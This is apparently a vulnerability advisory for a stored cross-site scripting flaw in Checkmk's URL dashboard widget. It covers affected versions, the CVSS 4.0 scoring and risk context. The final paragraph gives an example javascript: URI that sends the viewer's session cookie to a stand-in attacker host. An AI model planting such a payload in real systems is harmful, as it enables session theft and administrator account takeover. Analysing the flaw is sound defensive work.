Checkmk CVE-2026-7186

The attacker must already hold a Checkmk account with dashboard-editing permission, and a victim user must actively navigate to and view the dashboard containing the malicious URL widget (CVSS UI:A). The specific feature required is the URL dashboard widget, which accepts a user-supplied URI; exploitation depends on that widget being used in a dashboard visible to other users. Limiting factors: low-but-nonzero privilege (PR:L) is mandatory - anonymous external attackers cannot reach the vulnerable sink - and the payload only executes on victim interaction, so headless or unattended Checkmk deployments would not realize impact. Affected only on Checkmk <2.5.0p5, <2.4.0p31, <2.3.0p48, and all 2.2.0 versions.

The CVSS:4.0 vector AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:L scores 8.5 because exploitation requires only low privileges (PR:L - any account with dashboard-edit rights) plus active user interaction (UI:A - a victim viewing the malicious dashboard), but yields high impact on the vulnerable component's confidentiality, integrity, and availability when victim sessions are hijacked. EPSS and KEV data were not supplied for this CVE, and no public exploit identified at time of analysis, so this is not a confirmed in-the-wild target. The realistic risk skews higher than a typical self-XSS because Checkmk is an operations tool whose administrators frequently view dashboards built by lower-tier operators - privilege escalation via session theft is plausible. Note the privilege precondition: an unauthenticated attacker cannot reach this sink, so external exposure alone is not sufficient.

An operations user with dashboard-edit permission - for example, a junior NOC analyst - creates or edits a shared dashboard and configures a URL widget whose target is javascript:fetch('//attacker/x?c='+document.cookie). When a Checkmk administrator subsequently opens that dashboard, the script runs under the admin's session and can exfiltrate the session cookie, issue authenticated API calls, or pivot to modify monitoring configuration. No public PoC is referenced, but the technique (javascript: URI in a stored URL field) is well-documented and trivially reproducible.